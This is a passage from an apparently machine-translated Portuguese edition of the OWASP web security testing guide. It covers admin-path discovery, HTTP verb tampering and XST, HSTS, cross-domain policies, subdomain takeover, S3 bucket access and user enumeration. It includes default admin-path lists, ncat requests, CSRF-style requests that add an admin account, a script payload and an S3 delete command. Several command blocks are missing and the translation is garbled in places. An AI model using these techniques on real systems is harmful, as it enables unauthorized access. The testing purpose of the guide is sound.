de administrador e acessar a funcionalidade destinada aos usuários privilegiados.
Objetivos do teste
Identifique as interfaces e funcionalidades ocultas do administrador.
Como testar
Teste de caixa preta A seção
a seguir descreve os vetores que podem ser usados para testar a presença de interfaces administrativas. Essas técnicas também podem ser usadas para
testar problemas relacionados, incluindo escalonamento de privilégios, e são descritas em outras partes deste guia (por exemplo, Teste para ignorar o
esquema de autorização e Teste para referências diretas inseguras de objetos com mais detalhes.
Enumeração de diretórios e arquivos. Uma interface administrativa pode estar presente, mas não visível para o testador.
Tentar adivinhar o caminho da interface administrativa pode ser tão simples quanto solicitar: / admin ou / administrator etc.
Existem muitas ferramentas disponíveis para executar a força bruta do conteúdo do servidor, consulte a seção de ferramentas abaixo para obter mais
informações. Um testador também pode ter que identificar o nome do arquivo da página de administração. A navegação forçada para a página
identificada pode fornecer acesso à interface.
Comentários e links no código-fonte. Muitos sites usam código comum que é carregado para todos os usuários do site. Ao examinar todas as fontes
enviadas ao cliente, os links para a funcionalidade do administrador podem ser descobertos e devem ser investigados.
Revisão da documentação do servidor e do aplicativo. Se o servidor de aplicativos ou aplicativo for implantado em sua configuração padrão, pode ser
possível acessar a interface de administração usando as informações descritas na configuração ou na documentação de ajuda. As listas de senhas
padrão devem ser consultadas se uma interface administrativa for encontrada e as credenciais forem necessárias.
Informações publicamente disponíveis. Muitos aplicativos, como o WordPress, têm interfaces administrativas padrão.
Porta alternativa do servidor. As interfaces de administração podem ser vistas em uma porta diferente no host do aplicativo principal. Por exemplo, a
interface de administração do Apache Tomcat geralmente pode ser vista na porta 8080.
Alteração de parâmetro. Um parâmetro GET ou POST ou uma variável de cookie pode ser necessário para habilitar a funcionalidade do administrador.
As pistas para isso incluem a presença de campos ocultos, como:
Machine Translated by Google
107
ou em um cookie:
Depois que uma interface administrativa é descoberta, uma combinação das técnicas acima pode ser usada para tentar burlar a autenticação. Se isso
falhar, o testador pode tentar um ataque de força bruta. Nesse caso, o testador deve estar ciente do potencial de bloqueio de conta administrativa se tal
funcionalidade estiver presente.
exame mais detalhado do servidor e dos componentes do aplicativo deve ser realizado para garantir proteção (ou seja, as páginas do administrador não
são acessíveis a todos por meio do uso de filtragem de IP ou outros controles) e, quando aplicável, verificação de que todos os componentes não use
credenciais ou configurações padrão. O código-fonte deve ser revisado para garantir que o modelo de autorização e autenticação assegure uma clara
separação de funções entre usuários normais e administradores do site. As funções da interface do usuário compartilhadas entre usuários normais e
administradores devem ser
revisada para garantir uma separação clara entre o desenho de tais componentes e o vazamento de informações de tal funcionalidade compartilhada.
Cada estrutura da web pode ter suas próprias páginas ou caminho padrão de administrador. Por exemplo
WebSphere:
/admin
/admin-authz.xml /
admin.conf
/admin.passwd /
admin/*
/admin/logon.jsp /
admin/secure/logon.jsp
PHP:
/phpinfo /
phpmyadmin/ /
phpMyAdmin/ /
mysqladmin/ /
MySQLadmin /
MySQLAdmin /
login.php /
logon.php /
xmlrpc.php /
dbadmin
Primeira página:
/admin.dll /
admin.exe
/administrators.pwd /
autor.dll
/autor.exe /
autor.log /
autores.pwd /
cgi-bin
Machine
108
Translated by Google
WebLogic:
/AdminCaptureRootCA
/AdminClientes
/AdminConnections
/AdminEvents
/AdminJDBC
/AdminLicense
/AdminPrincipal
/AdminProps
/AdminRealm
/AdminThreads
WordPress:
wp-admin/
wp-admin/about.php wp-
admin/admin-ajax.php wp-admin/
admin-db.php wp-admin/admin-
footer.php wp-admin/admin-
functions.php wp-admin /admin-
header.php
Ferramentas
OWASP ZAP - Navegação Forçada é um uso atualmente mantido do projeto DirBuster anterior da OWASP.
THC-HIDRA é uma ferramenta que permite força bruta de muitas interfaces, incluindo autenticação HTTP baseada em formulário.
Um brute forcer é muito melhor quando usa um bom dicionário, por exemplo o netsparker dicionário.
Referências
O FuzzDB pode ser usado para fazer navegação de força bruta no caminho de login do administrador
EU IRIA
WSTG-CONF-06
Resumo
O HTTP oferece vários métodos que podem ser usados para executar ações no servidor da Web (o padrão HTTP 1.1 se refere a eles como métodos , mas também são
comumente descritos como verbos ). Embora GET e POST sejam de longe os métodos mais comuns usados para acessar informações fornecidas por um servidor da
Web, o HTTP permite vários outros (e um pouco menos conhecidos) métodos. Alguns deles podem ser usados para fins nefastos se o servidor da Web estiver configurado
incorretamente.
RFC 7231 – Protocolo de Transferência de Hipertexto (HTTP/1.1): Semântica e Conteúdo define os seguintes métodos de solicitação HTTP
válidos ou verbos:
OBTER
CABEÇA
PUBLICAR
COLOCAR
EXCLUIR
CONECTAR
OPÇÕES
VESTÍGIO
No entanto, a maioria dos aplicativos da Web precisa apenas responder a solicitações GET e POST, recebendo dados do usuário na string de consulta da URL ou
anexados à solicitação, respectivamente. Os links de estilo <a href=""></a> padrão , bem como os formulários definidos sem um método, acionam uma solicitação GET;
dados de formulários enviados por <form method='POST'></form> acionam solicitações POST. As chamadas JavaScript e AJAX podem enviar métodos diferentes de
GET e POST, mas geralmente não precisam fazer isso. Como os outros métodos são raramente usados, muitos desenvolvedores não sabem, ou não levam em
consideração, como o servidor da web ou a implementação desses métodos na estrutura do aplicativo impactam os recursos de segurança do aplicativo.
Objetivos do teste
Enumere os métodos HTTP suportados.
Como testar
Descubra os métodos suportados Para
realizar este teste, o testador precisa de alguma forma descobrir quais métodos HTTP são suportados pelo servidor web que está sendo
examinado. Embora o método OPTIONS HTTP forneça uma maneira direta de fazer isso, verifique a resposta do servidor emitindo
solicitações usando métodos diferentes. Isso pode ser obtido por meio de testes manuais ou algo como os métodos http script Nmap.
Para usar o script Nmap http-methods para testar o endpoint /index.php no servidor localhost usando HTTPS, emita o comando:
Machine Translated by Google
110
Ao testar um aplicativo que precisa aceitar outros métodos, por exemplo, um serviço da Web RESTful, teste-o completamente para garantir que
todos os pontos de extremidade aceitem apenas os métodos necessários.
2. Altere o método de solicitação para PUT e inclua o arquivo test.html e envie a solicitação ao servidor de aplicativos.
<html>
O método HTTP PUT está ativado
</html>
3. Se a resposta do servidor com códigos de sucesso 2XX ou redirecionamentos 3XX e, em seguida, confirmar por solicitação GET para
Se o método HTTP PUT não for permitido na URL base ou solicitação, tente outros caminhos no sistema.
OBSERVAÇÃO: Se você conseguir carregar um shell da web, deverá sobrescrevê-lo ou garantir que a equipe de segurança do destino
esteja ciente e remova o componente imediatamente após sua prova de conceito.
Aproveitando o método PUT , um invasor pode colocar conteúdo arbitrário e potencialmente malicioso no sistema, o que pode levar à execução
remota de código, desfigurar o site ou negação de serviço.
uma página para visitar que tenha uma restrição de segurança, de modo que uma solicitação GET normalmente forçaria um redirecionamento
302 para uma página de login ou forçaria um login diretamente. Emita solicitações usando vários métodos, como HEAD, POST, PUT, etc., bem
como métodos arbitrários, como BILBAO, FOOBAR, CATS, etc. Se o aplicativo da Web responder com um HTTP/1.1 200 OK , isso não é uma
página de login , pode ser possível ignorar a autenticação ou autorização. O exemplo a seguir usa o ncat do Nmap .
$ ncat www.example.com 80
HEAD /admin HTTP/1.1
Host: www.example.com
HTTP/1.1 200 OK
Data: Seg, 18 de agosto de 2008 22:44:11 GMT
Servidor: Apache Set-Cookie: PHPSESSID=pKi...;
caminho=/; HttpOnly Expira: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-
check=0, pre-check=0 Pragma: no-cache Set-Cookie: adminOnlyCookie1=...; expira=Ter, 18 de agosto de
2009 22:44:31 GMT; domínio=www.example.com Set-Cookie: adminOnlyCookie2=...; expira=Seg, 18 de
agosto de 2008 22:54:31 GMT; domínio=www.example.com Set-Cookie: adminOnlyCookie3=...; expira=Dom, 19 de agosto de 2007
22:44:30 GMT; domínio=www.example.com Conteúdo-Idioma: EN Conexão: fechar
Se o sistema parecer vulnerável, emita ataques do tipo CSRF, como os seguintes, para explorar o problema de forma mais completa:
Machine Translated by Google
111
HEAD /admin/createUser.php?member=myAdmin
PUT /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add
Usando os três comandos acima, modificados para se adequar ao aplicativo em teste e aos requisitos de teste, um novo usuário seria
criado, uma senha atribuída e o usuário se tornaria um administrador, tudo usando o envio de solicitação cega.
para entender a lógica e os objetivos de um ataque de rastreamento entre sites (XST), é preciso estar familiarizado com os ataques de
script entre sites.
O método TRACE , destinado ao teste e depuração, instrui o servidor web a refletir a mensagem recebida de volta ao cliente. Este método,
embora aparentemente inofensivo, pode ser aproveitado com sucesso em alguns cenários para roubar credenciais de usuários legítimos.
Essa técnica de ataque foi descoberta por Jeremiah Grossman em 2003, em uma tentativa de burlar o HttpOnly atributo que visa proteger
os cookies de serem acessados pelo JavaScript. No entanto, o método TRACE pode ser usado para ignorar essa proteção e acessar o
cookie mesmo quando esse atributo estiver definido.
Teste o potencial de rastreamento entre sites emitindo uma solicitação como a seguinte:
HTTP/1.1 200 OK
Aleatório: Cabeçalho
...
O servidor da web retornou um 200 e refletiu o cabeçalho aleatório que foi definido no local. Para explorar ainda mais esse problema:
Ataque: <script>prompt()</script>
estruturas da Web fornecem uma maneira de substituir o método HTTP real na solicitação emulando os verbos HTTP ausentes passando
algum cabeçalho personalizado nas solicitações. O principal objetivo disso é contornar algumas limitações de middleware (por exemplo,
proxy, firewall) onde os métodos permitidos geralmente não abrangem verbos como PUT ou DELETE . Os seguintes cabeçalhos alternativos
podem ser usados para fazer tal tunelamento verbal:
Método X-HTTP
X-HTTP-Method-Override
X-Method-Override
Para testar isso, nos cenários em que verbos restritos, como PUT ou DELETE, retornam um “405 Método não permitido”, repita a mesma
solicitação com a adição de cabeçalhos alternativos para substituição do método HTTP e observe como o
Machine Translated by Google
112
sistema responde. O aplicativo deve responder com um código de status diferente (por exemplo , 200) nos casos em que a substituição do método é suportada.
$ ncat www.example.com 80
DELETE /resource.html HTTP/1.1
Host: www.example.com
$ ncat www.example.com 80
DELETE /resource.html HTTP/1.1
Host: www.example.com X-
HTTP-Method: DELETE
HTTP/1.1 200 OK
Data: sábado, 04 de abril de 2020 19:26:01 GMT
Servidor: Apache
Remediação
Certifique-se de que apenas os cabeçalhos necessários sejam permitidos e que os cabeçalhos permitidos estejam configurados corretamente.
Certifique-se de que nenhuma solução alternativa seja implementada para contornar as medidas de segurança implementadas por agentes de usuário,
estruturas ou servidores da web.
Ferramentas
Ncat
ondulação
plugin htaccess_methods
Referências
RFC 2109 e RFC 2965: “Mecanismo de gerenciamento de estado HTTP”
Amit Klein: “Variantes de ataque XS(T) que podem, em alguns casos, eliminar a necessidade de TRACE”
EU IRIA
WSTG-CONF-07
Resumo
O recurso HTTP Strict Transport Security (HSTS) permite que um aplicativo da Web informe ao navegador por meio do uso de um cabeçalho de
resposta especial que ele nunca deve estabelecer uma conexão com os servidores de domínio especificados usando HTTP não criptografado. Em
vez disso, ele deve estabelecer automaticamente todas as solicitações de conexão para acessar o site por meio de HTTPS. Ele também impede
que os usuários substituam erros de certificado.
Considerando a importância desta medida de segurança, é prudente verificar se o site está usando este cabeçalho HTTP para garantir que todos
os dados trafeguem criptografados entre o navegador da Web e o servidor.
max-age : para indicar o número de segundos que o navegador deve converter automaticamente todas as solicitações HTTP para
HTTPS.
includeSubDomains : para indicar que todos os subdomínios relacionados devem usar HTTPS.
preload Unofficial: para indicar que o(s) domínio(s) estão na(s) lista(s) de pré-carregamento e que os navegadores nunca devem
conectar sem HTTPS.
Isso é suportado por todos os principais navegadores, mas não é parte oficial da especificação. (Ver hstspreload.org Para maiores
informações.)
O uso deste cabeçalho por aplicativos da web deve ser verificado para descobrir se os seguintes problemas de segurança podem ser produzidos:
Os invasores farejando o tráfego de rede e acessando as informações transferidas por meio de um canal não criptografado.
Os invasores que exploram um manipulador no meio atacam devido ao problema de aceitar certificados que não são confiáveis.
Usuários que inseriram por engano um endereço no navegador colocando HTTP em vez de HTTPS, ou usuários que clicaram em um link em
um aplicativo da web que indicou erroneamente o uso do protocolo HTTP.
Objetivos do teste
Revise o cabeçalho HSTS e sua validade.
Como testar
A presença do cabeçalho HSTS pode ser confirmada examinando a resposta do servidor por meio de um proxy de interceptação ou usando o curl
da seguinte forma:
Referências
Segurança de Transporte Estrito HTTP OWASP
Machine Translated by Google
114
EU IRIA
WSTG-CONF-08
Resumo
Os Rich Internet Applications (RIA) adotaram os arquivos de política crossdomain.xml da Adobe para permitir o acesso controlado entre domínios a dados e consumo de
Portanto, um domínio pode conceder acesso remoto aos seus serviços de um domínio diferente. No entanto, muitas vezes os arquivos de política que descrevem as restrições
de acesso são mal configurados. A configuração inadequada dos arquivos de política permite ataques de falsificação de solicitação entre sites e pode permitir que terceiros
domínios. Para o Silverlight, a Microsoft adotou um subconjunto do crossdomain.xml da Adobe e, além disso, criou seu próprio arquivo de política entre domínios:
clientaccesspolicy.xml.
Sempre que um cliente da Web detecta que um recurso precisa ser solicitado de outro domínio, ele primeiro procura um arquivo de política no domínio de destino para
determinar se é permitido executar solicitações entre domínios, incluindo cabeçalhos e conexões baseadas em soquete.
Os arquivos de política mestre estão localizados na raiz do domínio. Um cliente pode ser instruído a carregar um arquivo de política diferente, mas sempre verificará primeiro
o arquivo de política mestre para garantir que o arquivo de política mestre permita o arquivo de política solicitado.
A maioria dos aplicativos RIA suporta crossdomain.xml. No entanto, no caso do Silverlight, ele só funcionará se o crossdomain.xml especificar que o acesso é permitido de
qualquer domínio. Para um controle mais granular com o Silverlight, o clientaccesspolicy.xml deve ser usado.
Arquivos de política aceitos (arquivos de política mestre podem desabilitar ou restringir arquivos de política específicos)
Permissões de soquetes
Permissões de cabeçalho
<?xml versão="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"> <cross-domain-
policy>
<site-control allowed-cross-domain-policies="all"/> <allow-access-
from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/> </cross-domain-
policy>
Gerando respostas do servidor que podem ser tratadas como arquivos de política entre domínios.
Usando a funcionalidade de upload de arquivo para fazer upload de arquivos que podem ser tratados como arquivos de política entre domínios.
Objetivos do teste
Revise e valide os arquivos de política.
Como testar
Testando a Fraqueza dos Arquivos de Política RIA
Para testar a vulnerabilidade do arquivo de política RIA, o testador deve tentar recuperar os arquivos de política crossdomain.xml e clientaccesspolicy.xml
da raiz do aplicativo e de todas as pastas encontradas.
Por exemplo, se a URL do aplicativo for http://www.owasp.org , o testador deve tentar baixar os arquivos http://www.owasp.org/crossdomain.xml e http://
www.owasp.org/ clientaccesspolicy.xml .
Depois de recuperar todos os arquivos de política, as permissões permitidas devem ser verificadas sob o princípio de privilégio mínimo.
As solicitações devem vir apenas dos domínios, portas ou protocolos necessários. Políticas excessivamente permissivas devem ser evitadas. Políticas
com * devem ser examinadas de perto.
Exemplo
Resultado Esperado
Ferramentas
Nikto
W3af
Referências
Adobe: “Especificação de arquivo de política entre domínios”
Adobe: “Recomendações de uso de arquivo de política entre domínios para o Flash Player”
Stefan Esser: “Abrindo novos buracos com arquivos de política Flash Crossdomain”
EU IRIA
WSTG-CONF-09
Resumo
Quando um recurso recebe uma configuração de permissões que fornece acesso a uma gama mais ampla de atores do que o necessário, isso pode levar à exposição de informações
confidenciais ou à modificação desse recurso por partes indesejadas. Isso é especialmente perigoso quando o recurso está relacionado à configuração do programa, execução ou dados
confidenciais do usuário.
Um exemplo claro é um arquivo de execução executável por usuários não autorizados. Por outro exemplo, as informações da conta ou um valor de token para acessar uma API - cada vez
mais visto em serviços da Web modernos ou microsserviços - podem ser armazenados em um arquivo de configuração cujas permissões são definidas como legíveis por todo o mundo a
partir da instalação por padrão. Esses dados confidenciais podem ser expostos por atores mal-intencionados internos do host ou por um invasor remoto que comprometeu o serviço com
Objetivos do teste
Revise e identifique quaisquer permissões de arquivo não autorizadas.
Como testar
No Linux, use o comando ls para verificar as permissões do arquivo. Como alternativa, namei também pode ser usado para listar recursivamente as permissões de arquivo.
$ namei -l /PathToCheck/
Os arquivos e diretórios que requerem teste de permissão de arquivo incluem, mas não estão limitados a:
Arquivos/diretório da Web
Arquivos/diretório de configuração
Carregar arquivos/diretório
Remediação
Defina as permissões dos arquivos e diretórios adequadamente para que usuários não autorizados não possam acessar recursos críticos desnecessariamente.
Ferramentas
Windows AccessEnum
Verificação de Acesso ao Windows
Nome Linux
Referências
CWE-732: Atribuição de permissão incorreta para recurso crítico
Machine Translated by Google
118
EU IRIA
WSTG-CONF-10
Resumo
Uma exploração bem-sucedida desse tipo de vulnerabilidade permite que um adversário reivindique e assuma o controle do subdomínio da vítima.
Este ataque depende do seguinte:
1. O registro de subdomínio do servidor DNS externo da vítima está configurado para apontar para um recurso/serviço externo/endpoint inexistente
ou inativo. A proliferação de produtos XaaS (Anything as a Service) e serviços de nuvem pública oferecem muitos alvos potenciais a serem
considerados.
2. O provedor de serviços que hospeda o recurso/serviço externo/endpoint não lida com a propriedade do subdomínio
verificação corretamente.
Se a aquisição do subdomínio for bem-sucedida, uma ampla variedade de ataques é possível (fornecimento de conteúdo malicioso, phishing, roubo
de cookies de sessão do usuário, credenciais, etc.). Esta vulnerabilidade pode ser explorada para uma ampla variedade de registros de recursos
DNS, incluindo: A TXT etc., Zona DNS, eMX
CNAME , vítima.
, NS da
domínio
GitHub
1. A vítima (victim.com) usa o GitHub para desenvolvimento e configurou um registro DNS ( coderepo.victim.com ) para
Acesse isso.
2. A vítima decide migrar seu repositório de código do GitHub para uma plataforma comercial e não remove
coderepo.victim.com de seu servidor DNS.
3. Um adversário descobre que coderepo.victim.com está hospedado no GitHub e usa as páginas do GitHub para reivindicar
coderepo.victim.com usando sua conta GitHub.
Domínio expirado
1. A vítima (victim.com) possui outro domínio (victimotherdomain.com) e usa um registro CNAME (www) para referenciar o outro domínio
( www.victim.com –> vítimaotherdomain.com )
2. Em algum momento, vitimaoutrodominio.com expira e fica disponível para registro por qualquer pessoa. Como o registro CNAME não é excluído
da zona DNS da vítima.com, qualquer pessoa que registrar vítimaoutrodomínio.com terá controle total sobre www.victim.com até que o registro
DNS esteja presente.
Objetivos do teste
Enumere todos os domínios possíveis (anteriores e atuais).
Como testar
Teste de Caixa Preta
A primeira etapa é enumerar os servidores DNS da vítima e os registros de recursos. Existem várias maneiras de realizar essa tarefa, por exemplo,
enumeração de DNS usando uma lista de dicionário de subdomínios comuns, força bruta de DNS ou usando mecanismos de pesquisa na Web e
outras fontes de dados OSINT.
Usando o comando dig, o testador procura as seguintes mensagens de resposta do servidor DNS que garantem uma investigação mais aprofundada:
Machine Translated by Google
119
NXDOMAIN
SERVFAIL
RECUSOU
Execute uma enumeração básica de DNS no domínio da vítima ( vitima.com ) usando dnsrecon :
Identifique quais registros de recursos DNS estão inativos e aponte para serviços inativos/não usados. Usando o comando dig para o
Registro CNAME :
Para testar o registro A , o testador realiza uma pesquisa no banco de dados whois e identifica o GitHub como o provedor de serviços:
O testador visita subdomain.victim.com ou emite uma solicitação HTTP GET que retorna uma resposta “404 - Arquivo não encontrado”, que é uma indicação
clara da vulnerabilidade.
Machine Translated by Google
120
Neste exemplo fictício, o testador verifica se o domínio expireddomain.com está ativo com uma pesquisa de registrador de domínio. Se o domínio estiver disponível para
As seguintes respostas de DNS garantem uma investigação mais aprofundada: SERVFAIL ou REFUSED .
tem o arquivo de zona DNS disponível, o que significa que a enumeração de DNS não é necessária. A metodologia de teste
é o mesmo.
Remediação
Para mitigar o risco de aquisição de subdomínio, os registros de recursos DNS vulneráveis devem ser removidos da zona DNS. Monitoramento contínuo e verificações
Ferramentas
Referências
HackerOne - Um guia para aquisições de subdomínio
OWASP AppSec Europe 2017 - Frans Rosén: sequestro de DNS usando provedores de nuvem – nenhuma verificação necessária
Machine Translated by Google
122
EU IRIA
WSTG-CONF-11
Resumo
Os serviços de armazenamento em nuvem facilitam aplicativos e serviços da web para armazenar e acessar objetos no serviço de armazenamento.
A configuração inadequada do controle de acesso, no entanto, pode resultar na exposição de informações confidenciais, adulteração de dados ou
acesso não autorizado.
Um exemplo conhecido é quando um bucket do Amazon S3 é configurado incorretamente, embora os outros serviços de armazenamento em nuvem
também possam estar expostos a riscos semelhantes. Por padrão, todos os buckets do S3 são privados e podem ser acessados apenas por usuários com
acesso explicitamente concedido. Os usuários podem conceder acesso público ao próprio depósito e a objetos individuais armazenados nesse depósito.
Isso pode levar um usuário não autorizado a fazer upload de novos arquivos, modificar ou ler arquivos armazenados.
Objetivos do teste
Avalie se a configuração de controle de acesso para os serviços de armazenamento está correta.
Como testar
Primeiro, identifique a URL para acessar os dados no serviço de armazenamento e, em seguida, considere os seguintes testes:
Você pode usar curl para os testes com os seguintes comandos e ver se ações não autorizadas podem ser executadas com sucesso.
bucket do Amazon S3 seguem um de dois formatos: estilo de host virtual ou estilo de caminho.
https://bucket-name.s3.Region.amazonaws.com/key-name
https://my-bucket.s3.us-west-2.amazonaws.com/puppy.png
Machine Translated by Google
123
https://s3.Region.amazonaws.com/bucket-name/key-name
Como acima, no exemplo a seguir, my-bucket é o nome do bucket, us-west-2 é a região e puppy.png é o nome-chave:
https://s3.us-west-2.amazonaws.com/my-bucket/puppy.jpg
Para algumas regiões, o endpoint global herdado que não especifica um endpoint específico da região pode ser usado. Seu formato também é um estilo de hospedagem virtual
ou estilo de caminho.
https://bucket-name.s3.amazonaws.com
https://s3.amazonaws.com/bucket-name
Para testes de caixa preta, os URLs do S3 podem ser encontrados nas mensagens HTTP. O exemplo a seguir mostra que uma URL de bucket é enviada na tag img em uma
resposta HTTP.
...
<img src="https://my-bucket.s3.us-west-2.amazonaws.com/puppy.png">
...
Para testes de caixa cinza, você pode obter URLs de balde da interface da web da Amazon, documentos, código-fonte ou qualquer outra fonte disponível.
Além de testar com curl, você também pode testar com a ferramenta de linha de comando da AWS. Neste caso , o protocolo s3:// é usado.
Lista
O comando a seguir lista todos os objetos do bucket quando ele é configurado como público.
Carregar
Retirar
O seguinte é o comando para remover um objeto
aws s3 rm s3://bucket-name/object-to-remove
Ferramentas
AWS CLI
Referências
4.3.4 Teste para enumeração de conta e conta de usuário que pode ser adivinhada
EU IRIA
WSTG-IDNT-01
Resumo
Os aplicativos possuem diversos tipos de funcionalidades e serviços, e estes requerem permissões de acesso com base nas necessidades do usuário.
Esse usuário pode ser:
Para lidar com esses usos e qualquer outro caso de uso para esse aplicativo, as definições de função são configuradas (mais comumente conhecidas
como RBAC). Com base nessas funções, o usuário é capaz de realizar a tarefa necessária.
Objetivos do teste
Identifique e documente as funções usadas pelo aplicativo.
Revise a granularidade das funções e as necessidades por trás das permissões concedidas.
Como testar
Identificação de funções
O testador deve começar identificando as funções de aplicativo que estão sendo testadas por meio de qualquer um dos seguintes métodos:
Documentação do aplicativo.
Comentários do aplicativo.
, /mod
Função: gerente ) diretórios ou arquivos ocultos (por exemplo , /backups )
, /admin
de identificar possíveis vetores de ataque, o testador precisa testar e validar se pode acessar as funções disponíveis.
Alguns aplicativos definem as funções do usuário na criação, por meio de verificações e políticas rigorosas, ou garantindo que a função do usuário
seja devidamente protegida por meio de uma assinatura criada pelo back-end. Descobrir que as funções existem não significa que elas sejam uma
vulnerabilidade.
Depois de obter acesso às funções no sistema, o testador deve entender as permissões fornecidas para cada função.
Um engenheiro de suporte não deve ser capaz de realizar funcionalidades administrativas, gerenciar os backups ou conduzir quaisquer transações no
lugar de um usuário.
Machine
127
Translated by Google
Um administrador não deve ter plenos poderes no sistema. A funcionalidade de administrador confidencial deve alavancar um princípio de
verificador de fabricante ou usar MFA para garantir que o administrador esteja conduzindo a transação. Um exemplo claro disso foi o incidente
do Twitter em 2020.
Ferramentas
Os testes acima mencionados podem ser realizados sem o uso de qualquer ferramenta, exceto aquela que está sendo usada para acessar o sistema.
Referências
Engenharia de função para gerenciamento de segurança empresarial, E Coyne & J Davis, 2007
EU IRIA
WSTG-IDNT-02
Resumo
Alguns sites oferecem um processo de registro de usuários que automatiza (ou semiautomatiza) o fornecimento de acesso ao sistema aos usuários. Os requisitos
de identidade para acesso variam de identificação positiva a nenhuma, dependendo dos requisitos de segurança do sistema. Muitos aplicativos públicos
automatizam completamente o processo de registro e provisionamento porque o tamanho da base de usuários torna impossível o gerenciamento manual. No
entanto, muitos aplicativos corporativos fornecerão usuários manualmente, portanto, este caso de teste pode não se aplicar.
Objetivos do teste
Verifique se os requisitos de identidade para registro do usuário estão alinhados com os requisitos de negócios e segurança.
Como testar
Verifique se os requisitos de identidade para registro do usuário estão alinhados com os requisitos de negócios e segurança:
2. Os registros são verificados por um ser humano antes do provisionamento ou são concedidos automaticamente se os critérios forem atendidos?
Exemplo
No exemplo do WordPress abaixo, o único requisito de identificação é um endereço de e-mail acessível ao registrante.
Machine
129
Translated by Google
Por outro lado, no exemplo do Google abaixo, os requisitos de identificação incluem nome, data de nascimento, país, número de celular, endereço de e-mail e
resposta CAPTCHA. Embora apenas dois deles possam ser verificados (endereço de e-mail e número de celular), os requisitos de identificação são mais rígidos
do que o WordPress.
Remediação
Implemente requisitos de identificação e verificação que correspondam aos requisitos de segurança das informações que as credenciais protegem.
Ferramentas
Um proxy HTTP pode ser uma ferramenta útil para testar esse controle.
Referências
Projeto de registro de usuário
Machine Translated by Google
130
EU IRIA
WSTG-IDNT-03
Resumo
O provisionamento de contas apresenta uma oportunidade para um invasor criar uma conta válida sem a aplicação do processo adequado de identificação e
autorização.
Objetivos do teste
Verifique quais contas podem provisionar outras contas e de que tipo.
Como testar
Determine quais funções podem provisionar usuários e que tipo de contas eles podem provisionar.
Um administrador ou outro usuário pode provisionar contas com privilégios maiores que os seus?
Como os arquivos ou recursos pertencentes ao usuário desprovisionado são gerenciados? Eles são excluídos? O acesso é transferido?
Exemplo
No WordPress, apenas um nome de usuário e endereço de e-mail são necessários para provisionar o usuário, conforme mostrado abaixo:
O desprovisionamento de usuários exige que o administrador selecione os usuários a serem desprovisionados, selecione Excluir no menu suspenso
(circulado) e, em seguida, aplique esta ação. O administrador recebe uma caixa de diálogo perguntando o que fazer com as postagens do usuário (excluí-las
ou transferi-las).
Machine Translated by Google
131
Ferramentas
Embora a abordagem mais completa e precisa para concluir esse teste seja realizá-lo manualmente, as ferramentas de proxy HTTP
também podem ser úteis.
Machine Translated by Google
132
EU IRIA
WSTG-IDNT-04
Resumo
O escopo deste teste é verificar se é possível coletar um conjunto de nomes de usuários válidos interagindo com o mecanismo de autenticação
do aplicativo. Este teste será útil para testes de força bruta, nos quais o testador verifica se, dado um nome de usuário válido, é possível
encontrar a senha correspondente.
Freqüentemente, os aplicativos da Web revelam quando existe um nome de usuário no sistema, seja como consequência de uma configuração
incorreta ou como uma decisão de design. Por exemplo, às vezes, quando enviamos credenciais erradas, recebemos uma mensagem
informando que o nome de usuário está presente no sistema ou a senha fornecida está incorreta. As informações obtidas podem ser usadas
por um invasor para obter uma lista de usuários no sistema. Essas informações podem ser usadas para atacar o aplicativo da Web, por
exemplo, por meio de força bruta ou ataque de nome de usuário e senha padrão.
O testador deve interagir com o mecanismo de autenticação do aplicativo para entender se o envio de solicitações específicas faz com que o
aplicativo responda de maneiras diferentes. Esse problema existe porque as informações liberadas do aplicativo da Web ou do servidor da
Web quando o usuário fornece um nome de usuário válido são diferentes de quando ele usa um inválido
1.
Em alguns casos, é recebida uma mensagem que revela se as credenciais fornecidas estão erradas porque um nome de usuário inválido ou
uma senha inválida foi usada. Às vezes, os testadores podem enumerar os usuários existentes enviando um nome de usuário e uma senha
em branco.
Objetivos do teste
Revise os processos relacionados à identificação do usuário (por exemplo , registro, login, etc.).
Como testar
No teste de caixa preta, o testador não sabe nada sobre o aplicativo específico, nome de usuário, lógica do aplicativo, mensagens de erro na
página de login ou recursos de recuperação de senha. Se o aplicativo for vulnerável, o testador recebe uma mensagem de resposta que revela,
direta ou indiretamente, algumas informações úteis para enumerar usuários.
Usando um proxy da web, observe as informações recuperadas dessa autenticação bem-sucedida (resposta HTTP 200, comprimento da
resposta).
Agora, o testador deve tentar inserir um ID de usuário válido e uma senha errada e registrar a mensagem de erro gerada pelo aplicativo.
Usando um proxy da web, observe as informações recuperadas dessa tentativa de autenticação malsucedida (resposta HTTP 200, comprimento
da resposta).
Agora, o testador deve tentar inserir um ID de usuário inválido e uma senha errada e registrar a resposta do servidor (o testador deve ter certeza de que
o nome de usuário não é válido no aplicativo). Registre a mensagem de erro e a resposta do servidor.
Se o testador inserir um ID de usuário inexistente, ele poderá receber uma mensagem semelhante a:
Geralmente, o aplicativo deve responder com a mesma mensagem de erro e comprimento para as diferentes solicitações incorretas. Se as
respostas não forem iguais, o testador deve investigar e descobrir a chave que cria uma diferença entre as duas respostas. Por exemplo:
As respostas acima permitem que o cliente entenda que, para a primeira solicitação, ele possui um nome de usuário válido. Assim, eles podem
interagir com o aplicativo solicitando um conjunto de possíveis IDs de usuários e observando a resposta.
Olhando para a segunda resposta do servidor, o testador entende da mesma forma que não possui um nome de usuário válido. Assim, eles
podem interagir da mesma maneira e criar uma lista de IDs de usuários válidos observando as respostas do servidor.
Alguns aplicativos da Web liberam um código ou mensagem de erro específico que podemos analisar.
Por exemplo:
http://www.foo.com/err.jsp?User=baduser&Error=0
Machine Translated by Google
134
http://www.foo.com/err.jsp?User=gooduser&Error=2
Como visto acima, quando um testador fornece um ID de usuário e senha para o aplicativo da web, ele vê uma mensagem indicando que ocorreu um erro na URL. No
No segundo, um bom ID de usuário e uma senha ruim, para que possam identificar um ID de usuário válido.
Sondagem de URI
Às vezes, um servidor da Web responde de maneira diferente se receber uma solicitação para um diretório existente ou não. Por exemplo, em alguns portais, cada
usuário está associado a um diretório. Se os testadores tentarem acessar um diretório existente, eles poderão receber um erro do servidor da web.
Exemplo:
No primeiro caso, o usuário existe, mas o testador não pode visualizar a página da web; no segundo caso, o usuário “account2” não existe. Ao coletar essas informações,
